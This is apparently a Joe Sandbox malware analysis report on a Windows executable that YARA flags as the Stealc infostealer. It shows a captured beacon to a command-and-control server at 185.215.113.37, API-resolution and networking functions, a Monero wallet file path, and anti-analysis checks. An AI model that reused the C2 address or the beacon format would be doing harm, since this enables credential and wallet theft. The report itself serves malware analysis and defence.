Oct 2, 2024 02:01:03.882147074 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDBGIEBFIIDGCBFBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 42 45 41 37 34 30 37 41 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="hwid"4BBEA7407A6F1350827015------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="build"doma------DBFHDBGIEBFIIDGCBFBK--
Oct 2, 2024 02:01:04.104403973 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 00:01:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	20:00:59
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1c0000
File size:	1'829'888 bytes
MD5 hash:	5CACE3141FF06D98C584BFB6681A8AE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1705421415.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 001D9860 Relevance: 86.0, APIs: 33, Strings: 16, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E32320), ref: 001D98A1
GetProcAddress.KERNEL32(74DD0000,00E32368), ref: 001D98BA
GetProcAddress.KERNEL32(74DD0000,00E32170), ref: 001D98D2
GetProcAddress.KERNEL32(74DD0000,00E322A8), ref: 001D98EA
GetProcAddress.KERNEL32(74DD0000,00E32440), ref: 001D9903
GetProcAddress.KERNEL32(74DD0000,00E38FA0), ref: 001D991B
GetProcAddress.KERNEL32(74DD0000,00E258F0), ref: 001D9933
GetProcAddress.KERNEL32(74DD0000,00E25870), ref: 001D994C
GetProcAddress.KERNEL32(74DD0000,00E32338), ref: 001D9964
GetProcAddress.KERNEL32(74DD0000,00E32398), ref: 001D997C
GetProcAddress.KERNEL32(74DD0000,00E32380), ref: 001D9995
GetProcAddress.KERNEL32(74DD0000,00E323E0), ref: 001D99AD
GetProcAddress.KERNEL32(74DD0000,00E25910), ref: 001D99C5
GetProcAddress.KERNEL32(74DD0000,00E323F8), ref: 001D99DE
GetProcAddress.KERNEL32(74DD0000,00E32410), ref: 001D99F6
GetProcAddress.KERNEL32(74DD0000,00E256B0), ref: 001D9A0E
GetProcAddress.KERNEL32(74DD0000,00E32428), ref: 001D9A27
GetProcAddress.KERNEL32(74DD0000,00E32458), ref: 001D9A3F
GetProcAddress.KERNEL32(74DD0000,00E25810), ref: 001D9A57
GetProcAddress.KERNEL32(74DD0000,00E32188), ref: 001D9A70
GetProcAddress.KERNEL32(74DD0000,00E25670), ref: 001D9A88
LoadLibraryA.KERNEL32(00E321A0,?,001D6A00), ref: 001D9A9A
LoadLibraryA.KERNEL32(00E321D0,?,001D6A00), ref: 001D9AAB
LoadLibraryA.KERNEL32(00E321B8,?,001D6A00), ref: 001D9ABD
LoadLibraryA.KERNEL32(00E32200,?,001D6A00), ref: 001D9ACF
LoadLibraryA.KERNEL32(00E32260,?,001D6A00), ref: 001D9AE0
GetProcAddress.KERNEL32(75A70000,00E32230), ref: 001D9B02
GetProcAddress.KERNEL32(75290000,00E32248), ref: 001D9B23
GetProcAddress.KERNEL32(75290000,00E32278), ref: 001D9B3B
GetProcAddress.KERNEL32(75BD0000,00E32290), ref: 001D9B5D
GetProcAddress.KERNEL32(75450000,00E25970), ref: 001D9B7E
GetProcAddress.KERNEL32(76E90000,00E38F60), ref: 001D9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 001D9BB6

Strings

pX, xrefs: 001D993E
0", xrefs: 001D9AF4
($, xrefs: 001D9A19
h#, xrefs: 001D98AC
pV, xrefs: 001D9A7B
H", xrefs: 001D9B16
8#, xrefs: 001D9957
p!, xrefs: 001D98C5
#, xrefs: 001D9894
pY, xrefs: 001D9B71
x", xrefs: 001D9B2E
@$, xrefs: 001D98F5
`", xrefs: 001D9ADA
X$, xrefs: 001D9A32
NtQueryInformationProcess, xrefs: 001D9BAA
#, xrefs: 001D99A0

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$($$0"$8#$@$$H"$NtQueryInformationProcess$X$$`"$h#$p!$pV$pX$pY$x"$#
API String ID: 2238633743-2620304504
Opcode ID: 409d7b41d31482bb73a921a3eac332a1044700b57909e0d1321c65122524f687
Instruction ID: fccb3a82c38195e7210a6b9f0efa5573c060493838ed285e558975015b4c5420
Opcode Fuzzy Hash: 409d7b41d31482bb73a921a3eac332a1044700b57909e0d1321c65122524f687
Instruction Fuzzy Hash: ECA16CB6510340AFD344EFA8FF88A6677F9F78C301704C53AA605E3264D7399865CB5A

Function 001C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 001C460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001C479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001C477B

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b162ac0689d8668918082ea20788c774ab10a604d44779b9b1ca5e96541eb42b
Instruction ID: 5fcb03a7134cbde642f41efc0eee52eb72cc67e96dfe4576f35076be03ec4194
Opcode Fuzzy Hash: b162ac0689d8668918082ea20788c774ab10a604d44779b9b1ca5e96541eb42b
Instruction Fuzzy Hash: AC4129246C6A8C6AE764BFAFCCC1FBD77575F42FCEF509044AA20522C2C7B8650059E5

Function 001C4880 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001C4839
Part of subcall function 001C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001C4849

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001C4915
StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001C4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,001E0DDB,00000000,?,?,00000000,?,",00000000,?,00E3EA88), ref: 001C4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001C4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001C4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001C4E49
InternetCloseHandle.WININET(00000000), ref: 001C4EAD
InternetCloseHandle.WININET(00000000), ref: 001C4EC5
HttpOpenRequestA.WININET(00000000,00E3E948,?,00E3E3A0,00000000,00000000,00400100,00000000), ref: 001C4B15

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

InternetCloseHandle.WININET(00000000), ref: 001C4ECF

Strings

H, xrefs: 001C4B07
", xrefs: 001C4BF2
------, xrefs: 001C4B28
(, xrefs: 001C492F
------, xrefs: 001C49BD
------, xrefs: 001C4C69
", xrefs: 001C4D33

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$($------$------$------$H
API String ID: 460715078-3550990314
Opcode ID: d154d938e119b39d2800797960ae6fc1c2e8f82ed8e262f6281bd9644472c3cc
Instruction ID: e356788a342f2a02b2b39553800bcb82e6da6e0433d1307a7266470fe4d75db2
Opcode Fuzzy Hash: d154d938e119b39d2800797960ae6fc1c2e8f82ed8e262f6281bd9644472c3cc
Instruction Fuzzy Hash: 74121171910158AADB15EB90DDA2FEEB338BF24301F90419AB50673191EF706F49CF66

Function 001D7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001C11B7), ref: 001D7880
RtlAllocateHeap.NTDLL(00000000), ref: 001D7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 001D789F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: ff2e85a06ae1d3bd0daeb20d90245a02f0216168d37cb2a64563e19a94419507
Instruction ID: 68b5c14631a8a3b8f0d653a7b51b2a28cde63d99b743189dad970cc9c3fbd47f
Opcode Fuzzy Hash: ff2e85a06ae1d3bd0daeb20d90245a02f0216168d37cb2a64563e19a94419507
Instruction Fuzzy Hash: AFF04FB2944208ABC714DF98DD49BAEBBB8EB05711F10426AFA05A3780C77455048BA1

Function 001C1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 001C116A
ExitProcess.KERNEL32 ref: 001C117E

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 102c24742ab15010738fcf705b4a701a8f0b3f33881cf78cf4e1ac17c9e0955c
Instruction ID: a074f297f9e17dbef0ae503ffbcba7568757581574ad3fa8a2b461c5ddf6f264
Opcode Fuzzy Hash: 102c24742ab15010738fcf705b4a701a8f0b3f33881cf78cf4e1ac17c9e0955c
Instruction Fuzzy Hash: DAD05E7490030CDBCB00DFE0D949AEDBB78FB08311F000568DD0573340EB309491CAAA

Function 001D9C10 Relevance: 224.7, APIs: 112, Strings: 16, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E25990), ref: 001D9C2D
GetProcAddress.KERNEL32(74DD0000,00E25690), ref: 001D9C45
GetProcAddress.KERNEL32(74DD0000,00E39568), ref: 001D9C5E
GetProcAddress.KERNEL32(74DD0000,00E39598), ref: 001D9C76
GetProcAddress.KERNEL32(74DD0000,00E39628), ref: 001D9C8E
GetProcAddress.KERNEL32(74DD0000,00E395E0), ref: 001D9CA7
GetProcAddress.KERNEL32(74DD0000,00E2BB88), ref: 001D9CBF
GetProcAddress.KERNEL32(74DD0000,00E3D480), ref: 001D9CD7
GetProcAddress.KERNEL32(74DD0000,00E3D570), ref: 001D9CF0
GetProcAddress.KERNEL32(74DD0000,00E3D4F8), ref: 001D9D08
GetProcAddress.KERNEL32(74DD0000,00E3D420), ref: 001D9D20
GetProcAddress.KERNEL32(74DD0000,00E259B0), ref: 001D9D39
GetProcAddress.KERNEL32(74DD0000,00E256D0), ref: 001D9D51
GetProcAddress.KERNEL32(74DD0000,00E25610), ref: 001D9D69
GetProcAddress.KERNEL32(74DD0000,00E257D0), ref: 001D9D82
GetProcAddress.KERNEL32(74DD0000,00E3D4B0), ref: 001D9D9A
GetProcAddress.KERNEL32(74DD0000,00E3D468), ref: 001D9DB2
GetProcAddress.KERNEL32(74DD0000,00E2B958), ref: 001D9DCB
